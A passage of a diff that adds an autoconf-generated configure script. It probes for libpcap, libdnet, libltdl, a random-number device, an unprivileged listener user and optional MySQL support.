"(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lpcap $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char pcap_open_live (); +int +main () +{ +return pcap_open_live (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_pcap_pcap_open_live=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_pcap_pcap_open_live=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_pcap_pcap_open_live" >&5 +echo "${ECHO_T}$ac_cv_lib_pcap_pcap_open_live" >&6; } +if test $ac_cv_lib_pcap_pcap_open_live = yes; then + + { echo "$as_me:$LINENO: checking for pcap_lib_version" >&5 +echo $ECHO_N "checking for pcap_lib_version... $ECHO_C" >&6; } + { echo "$as_me:$LINENO: checking for pcap_lib_version in -lpcap" >&5 +echo $ECHO_N "checking for pcap_lib_version in -lpcap... $ECHO_C" >&6; } +if test "${ac_cv_lib_pcap_pcap_lib_version+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lpcap $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char pcap_lib_version (); +int +main () +{ +return pcap_lib_version (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_pcap_pcap_lib_version=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_pcap_pcap_lib_version=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_pcap_pcap_lib_version" >&5 +echo "${ECHO_T}$ac_cv_lib_pcap_pcap_lib_version" >&6; } +if test $ac_cv_lib_pcap_pcap_lib_version = yes; then + cat >>confdefs.h <<\_ACEOF +#define HAVE_PCAP_LIB_VERSION 1 +_ACEOF + +fi + + { echo "$as_me:$LINENO: checking for pcap_setnonblock" >&5 +echo $ECHO_N "checking for pcap_setnonblock... $ECHO_C" >&6; } + { echo "$as_me:$LINENO: checking for pcap_setnonblock in -lpcap" >&5 +echo $ECHO_N "checking for pcap_setnonblock in -lpcap... $ECHO_C" >&6; } +if test "${ac_cv_lib_pcap_pcap_setnonblock+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lpcap $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char pcap_setnonblock (); +int +main () +{ +return pcap_setnonblock (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_pcap_pcap_setnonblock=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_pcap_pcap_setnonblock=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_pcap_pcap_setnonblock" >&5 +echo "${ECHO_T}$ac_cv_lib_pcap_pcap_setnonblock" >&6; } +if test $ac_cv_lib_pcap_pcap_setnonblock = yes; then + cat >>confdefs.h <<\_ACEOF +#define HAVE_PCAP_SET_NONBLOCK 1 +_ACEOF + +fi + + +{ echo "$as_me:$LINENO: checking for pcap_get_selectable_fd in -lpcap" >&5 +echo $ECHO_N "checking for pcap_get_selectable_fd in -lpcap... $ECHO_C" >&6; } +if test "${ac_cv_lib_pcap_pcap_get_selectable_fd+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lpcap $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char pcap_get_selectable_fd (); +int +main () +{ +return pcap_get_selectable_fd (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_pcap_pcap_get_selectable_fd=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_pcap_pcap_get_selectable_fd=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_pcap_pcap_get_selectable_fd" >&5 +echo "${ECHO_T}$ac_cv_lib_pcap_pcap_get_selectable_fd" >&6; } +if test $ac_cv_lib_pcap_pcap_get_selectable_fd = yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBPCAP 1 +_ACEOF + + LIBS="-lpcap $LIBS" + +else + + cat >>confdefs.h <<\_ACEOF +#define HAVE_PCAP_LIB_VERSION 1 +_ACEOF + + cat >>confdefs.h <<\_ACEOF +#define HAVE_PCAP_SET_NONBLOCK 1 +_ACEOF + + NEED_AUX_LIBS="${NEED_AUX_LIBS} pcap" + + +fi + + +else + NEED_AUX_LIBS="${NEED_AUX_LIBS} pcap" +cat >>confdefs.h <<\_ACEOF +#define HAVE_PCAP_LIB_VERSION 1 +_ACEOF + +cat >>confdefs.h <<\_ACEOF +#define HAVE_PCAP_SET_NONBLOCK 1 +_ACEOF + +fi + + + +{ echo "$as_me:$LINENO: checking for libdnet" >&5 +echo $ECHO_N "checking for libdnet... $ECHO_C" >&6; } +default_libdnet_directories="/usr /usr/local" +lookin=$default_libdnet_directories + +# Check whether --with-libdnet was given. +if test "${with_libdnet+set}" = set; then + withval=$with_libdnet; +case "$dnet_pfx" in +no) + lookin="" + ;; +yes) + lookin=$default_libdnet_directories + ;; +*) + lookin=$dnet_pfx + ;; +esac + +fi + +good=no +if test "$lookin"; then + for g in $lookin; do + if test -x "$g/bin/dnet-config"; then + DNETLIBS=`$g/bin/dnet-config --libs` + DNETCFLG=`$g/bin/dnet-config --cflags` + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + good=yes + break + fi + done +fi +if test $good = "no"; then + NEED_AUX_LIBS="${NEED_AUX_LIBS} libdnet" + DNETLIBS="" + DNETCFLG="" + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + + +{ echo "$as_me:$LINENO: checking for libltdl" >&5 +echo $ECHO_N "checking for libltdl... $ECHO_C" >&6; } + +{ echo "$as_me:$LINENO: checking for lt_dlopen in -lltdl" >&5 +echo $ECHO_N "checking for lt_dlopen in -lltdl... $ECHO_C" >&6; } +if test "${ac_cv_lib_ltdl_lt_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lltdl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char lt_dlopen (); +int +main () +{ +return lt_dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_ltdl_lt_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_ltdl_lt_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_ltdl_lt_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_ltdl_lt_dlopen" >&6; } +if test $ac_cv_lib_ltdl_lt_dlopen = yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBLTDL 1 +_ACEOF + + LIBS="-lltdl $LIBS" + +else + +NEED_AUX_LIBS="${NEED_AUX_LIBS} libltdl" + +fi + + + +{ echo "$as_me:$LINENO: checking for a readable /proc/net/route file" >&5 +echo $ECHO_N "checking for a readable /proc/net/route file... $ECHO_C" >&6; } +if test -r /proc/net/route; then + cat >>confdefs.h <<\_ACEOF +#define HAVE_PROC_NET_ROUTE 1 +_ACEOF + + { echo "$as_me:$LINENO: result: Yes" >&5 +echo "${ECHO_T}Yes" >&6; } +else + { echo "$as_me:$LINENO: result: No" >&5 +echo "${ECHO_T}No" >&6; } +fi + + +CHCON=true +SP_MODE=755 +shlibs=.la + + +cat >>confdefs.h <<_ACEOF +#define SHLIB_EXT "$shlibs" +_ACEOF + + + +{ echo "$as_me:$LINENO: checking for a readable prng device" >&5 +echo $ECHO_N "checking for a readable prng device... $ECHO_C" >&6; } +default_prng_paths="/dev/urandom /etc/random /dev/egd-pool" + +# Check whether --with-prng was given. +if test "${with_prng+set}" = set; then + withval=$with_prng; lookat="$withval" +else + lookat="$default_prng_paths" +fi + + +if test "$lookat" = "yes"; then + lookat="$default_prng_paths" +fi + +good=no +for g in $lookat; do + if test -c "$g" + then + cat >>confdefs.h <<_ACEOF +#define RANDOM_DEVICE "$g" +_ACEOF + + { echo "$as_me:$LINENO: result: yes found at $g" >&5 +echo "${ECHO_T}yes found at $g" >&6; } + good=yes + break + elif test -S "$g" + then + cat >>confdefs.h <<_ACEOF +#define RANDOM_DEVICE "$g" +_ACEOF + + { echo "$as_me:$LINENO: result: yes found at $g" >&5 +echo "${ECHO_T}yes found at $g" >&6; } + good=yes + break + fi +done + +if test $good = "no"; then + { echo "$as_me:$LINENO: WARNING: cant find a working random number generator" >&5 +echo "$as_me: WARNING: cant find a working random number generator" >&2;} + cat >>confdefs.h <<\_ACEOF +#define RANDOM_DEVICE "" +_ACEOF + +fi + + +for ac_prog in gmake gnumake make +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_path_USE_MAKE+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + case $USE_MAKE in + [\\/]* | ?:[\\/]*) + ac_cv_path_USE_MAKE="$USE_MAKE" # Let the user override the test with a path. + ;; + *) + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_path_USE_MAKE="$as_dir/$ac_word$ac_exec_ext" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + + ;; +esac +fi +USE_MAKE=$ac_cv_path_USE_MAKE +if test -n "$USE_MAKE"; then + { echo "$as_me:$LINENO: result: $USE_MAKE" >&5 +echo "${ECHO_T}$USE_MAKE" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$USE_MAKE" && break +done + + + + { echo "$as_me:$LINENO: checking for __attribute__" >&5 +echo $ECHO_N "checking for __attribute__... $ECHO_C" >&6; } + if test "${ac_cv___attribute__+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +int +main () +{ +static void foo(void) __attribute__ ((unused)); + static void + foo(void) { + exit(1); + } + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv___attribute__=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv___attribute__=no + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + + if test "$ac_cv___attribute__" = "yes"; then + +cat >>confdefs.h <<\_ACEOF +#define HAVE___ATTRIBUTE__ 1 +_ACEOF + + fi + { echo "$as_me:$LINENO: result: $ac_cv___attribute__" >&5 +echo "${ECHO_T}$ac_cv___attribute__" >&6; } + + +{ echo "$as_me:$LINENO: checking for backtrace in execinfo.h" >&5 +echo $ECHO_N "checking for backtrace in execinfo.h... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF + +#include +#include +int main(int argc, char ** argv) { + void *bs[50]; int sz=0; + sz=backtrace(bs, 50); + backtrace_symbols_fd(bs, sz, 2); + exit(0); +} + +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } +cat >>confdefs.h <<\_ACEOF +#define WITH_BACKTRACE 1 +_ACEOF + +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext + +bundled_ltdl="no" +{ echo "$as_me:$LINENO: checking whether to force bundled libltdl to be staticly linked into executables" >&5 +echo $ECHO_N "checking whether to force bundled libltdl to be staticly linked into executables... $ECHO_C" >&6; } +# Check whether --enable-bundled-ltdl was given. +if test "${enable_bundled_ltdl+set}" = set; then + enableval=$enable_bundled_ltdl; bundled_ltdl="yes" +else + bundled_ltdl="no" +fi + +case "$bundled_ltdl" in +yes) + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + NEED_AUX_LIBS="${NEED_AUX_LIBS} libltdl" + ;; +*) + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + ;; +esac + +# Check whether --enable-debug-support was given. +if test "${enable_debug_support+set}" = set; then + enableval=$enable_debug_support; +cat >>confdefs.h <<\_ACEOF +#define DEBUG_SUPPORT 1 +_ACEOF + +U_COPTS="${U_COPTS} -ggdb -Wall -pipe -Wshadow -Wcast-align -Wcast-qual -Wchar-subscripts -Wno-deprecated-declarations -Wformat-security -Wimplicit -Wsign-compare -Wuninitialized -Wunused -Wwrite-strings -Wmissing-format-attribute -Wmissing-noreturn -Wmissing-braces -Wparentheses -Wsequence-point -Wno-format-y2k" + +fi + + + + +{ echo "$as_me:$LINENO: checking for non-priv user for listener" >&5 +echo $ECHO_N "checking for non-priv user for listener... $ECHO_C" >&6; } + +# Check whether --with-listen-user was given. +if test "${with_listen_user+set}" = set; then + withval=$with_listen_user; listen_user="$withval" +else + listen_user="nobody" +fi + + +case "$listen_user" in +yes) + listen_user="nobody" + { echo "$as_me:$LINENO: result: Using user nobody" >&5 +echo "${ECHO_T}Using user nobody" >&6; } + cat >>confdefs.h <<_ACEOF +#define NOPRIV_USER "$listen_user" +_ACEOF + + ;; +no) + { { echo "$as_me:$LINENO: error: using a listen-user of no is silly, what i was looking for was a username" >&5 +echo "$as_me: error: using a listen-user of no is silly, what i was looking for was a username" >&2;} + { (exit 1); exit 1; }; } + ;; +*) + { echo "$as_me:$LINENO: result: Using user $listen_user" >&5 +echo "${ECHO_T}Using user $listen_user" >&6; } + cat >>confdefs.h <<_ACEOF +#define NOPRIV_USER "$listen_user" +_ACEOF + + ;; +esac + + +case "${host_cpu}" in +x86_64) + U_CFLAGS="${U_CFLAGS} -fPIC" + ;; +esac + +case "${host_os}" in +*linux*) + cat >>confdefs.h <<\_ACEOF +#define USE_SETRE 1 +_ACEOF + + ;; +*netbsd*) + cat >>confdefs.h <<\_ACEOF +#define USE_SETRE 1 +_ACEOF + + ;; +*freebsd*) + cat >>confdefs.h <<\_ACEOF +#define USE_SETRE 1 +_ACEOF + + ;; +*darwin*) + ;; +*solaris*) + ;; +*aix*) + ;; +esac + +DBTYPES="" +MY_LDFLAGS="" +MY_CPPFLAGS="" +PG_LDFLAGS="" +PG_CPPFLAGS="" +mysql="no" +pgsql="no" + +default_directory="/usr /usr/local /usr/local/mysql" + + +# Check whether --with-mysql was given. +if test "${with_mysql+set}" = set; then + withval=$with_mysql; with_mysql="$withval" +else + with_mysql=no +fi + +if test "$with_mysql" != "no"; then + if test "$with_mysql" = "yes"; then + mysql_directory="$default_directory"; + mysql_fail="yes" + elif test -d $withval; then + mysql_directory="$withval" + mysql_fail="no" + elif test "$with_mysql" = ""; then + mysql_directory="$default_directory"; + mysql_fail="no" + fi + { echo "$as_me:$LINENO: checking for mysql" >&5 +echo $ECHO_N "checking for mysql... $ECHO_C" >&6; } + for i in $mysql_directory; do + if test -r $i/include/mysql/mysql.h; then + MYSQL_DIR=$i + MYSQL_INC_DIR=$i/include/mysql + elif test -r $i/include/mysql.h; then + MYSQL_DIR=$i + MYSQL_INC_DIR=$i/include + fi + done + if test -z "$MYSQL_DIR"; then + if test "$mysql_fail" != "no"; then + { { echo "$as_me:$LINENO: error: cant find mysql headers (mysql.h)" >&5 +echo "$as_me: error: cant find mysql headers (mysql.h)" >&2;} + { (exit rerun configure with --with-mysql=/path/to/mysql/prefix); exit rerun configure with --with-mysql=/path/to/mysql/prefix; }; } + else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + fi + else + for i in lib lib/mysql; do + str="$MYSQL_DIR/$i/libmysqlclient.*" + for j in `echo $str`; do + if test -r $j; then + MYSQL_LIB_DIR="$MYSQL_DIR/$i" + break 2 + fi + done + done + if test -z "$MYSQL_LIB_DIR"; then + if test "$mysql_fail" != "no"; then + { { echo "$as_me:$LINENO: error: cant find mysqlclient library" >&5 +echo "$as_me: error: cant find mysqlclient library" >&2;} + { (exit libmysqlclient.?); exit libmysqlclient.?; }; } + else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + fi + else + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + cat >>confdefs.h <<\_ACEOF +#define WITH_MYSQL 1 +_ACEOF + + +{ echo "$as_me:$LINENO: checking for compress in -lz" >&5 +echo $ECHO_N "checking for compress in -lz... $ECHO_C" >&6; } +if test "${ac_cv_lib_z_compress+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lz $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char compress (); +int +main () +{ +return compress (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + 